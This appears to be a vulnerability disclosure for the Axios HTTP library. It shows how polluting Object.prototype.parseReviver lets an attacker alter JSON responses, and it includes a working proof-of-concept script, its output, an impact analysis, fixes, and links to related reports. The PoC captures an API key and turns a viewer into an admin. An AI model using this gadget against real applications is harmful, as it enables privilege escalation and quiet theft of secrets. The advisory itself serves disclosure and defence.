Details
Proof of Concept
import http from 'http';
import axios from './index.js';
// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({
user: 'john',
role: 'viewer',
isAdmin: false,
canDelete: false,
balance: 100,
permissions: ['read'],
apiKey: 'sk-secret-internal-key',
}));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;
// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}
// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
// Silently capture all original values
if (key && typeof value !== 'object') stolen[key] = value;
// Surgically modify specific values
if (key === 'isAdmin') return true; // false → true
if (key === 'role') return 'admin'; // viewer → admin
if (key === 'canDelete') return true; // false → true
if (key === 'balance') return 999999; // 100 → 999999
return value; // everything else unchanged
};
// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}
console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}
delete Object.prototype.parseReviver;
server.close();
Verified PoC Output
[1] Normal request (before pollution):
response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
isAdmin: false
role: viewer
[2] Prototype Pollution: Object.prototype.parseReviver
Polluted with selective value modifier
[3] Same request (after pollution):
response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
"balance":999999,"permissions":["read","write","delete","admin"],
"apiKey":"sk-secret-internal-key"}
isAdmin: true (was: false)
role: admin (was: viewer)
canDelete: true (was: false)
balance: 999999 (was: 100)
[4] Exfiltrated data (stolen silently):
apiKey: sk-secret-internal-key
All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
"balance":100,"apiKey":"sk-secret-internal-key"}
[5] Why this bypasses all checks:
parseReviver in defaults? NO
parseReviver in assertOptions schema? NO
parseReviver validated anywhere? NO
Must return true? NO — can return ANY value
Replaces entire transform? NO — works INSIDE default JSON.parse
Impact Analysis
1. Authorization / Privilege Escalation
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
2. Financial Manipulation
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
3. Security Control Bypass
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
4. Silent Data Exfiltration
The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.
5. Universal and Invisible
- Affects every Axios request that receives a JSON response
- The response structure is intact — only specific values are changed
- No errors, no crashes, no suspicious behavior
- Application logs show normal-looking API responses with tampered values
Recommended Fix
Fix 1: Use hasOwnProperty check before using parseReviver
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Fix 2: Use null-prototype config object
// In lib/core/mergeConfig.js
const config = Object.create(null);
Fix 3: Validate parseReviver type and source
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
? this.parseReviver
: undefined;
return JSON.parse(data, reviver);
Relationship to Other Reported Gadgets
This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:
| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | transformResponse | mergeConfig.js:49 (defaultToConfig2) | mergeConfig.js | Credential theft, response replaced with true |
| axios_30 | proxy | http.js:670 (direct property access) | http.js | Full MITM, traffic interception |
| axios_31 (this) | parseReviver | defaults/index.js:124 (this.parseReviver) | defaults/index.js | Selective JSON value tampering + data exfiltration |
Why These Are Distinct Vulnerabilities
- Different polluted properties: Each targets a different
Object.prototypekey. - Different code paths:
transformResponseenters viamergeConfig;proxyis read directly byhttp.js;parseReviveris read inside the defaulttransformResponsefunction'sJSON.parsecall. - Different fix locations: Fixing
mergeConfig.js(axios_26) does NOT fixdefaults/index.js:124(this vulnerability). Fixinghttp.js:670(axios_30) does NOT fix this either. Each requires a separate patch. - Different impact profiles:
transformResponseis constrained to returntrue;proxyrequires a proxy server;parseReviverenables constraint-free selective value modification.
Comprehensive Fix
While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.
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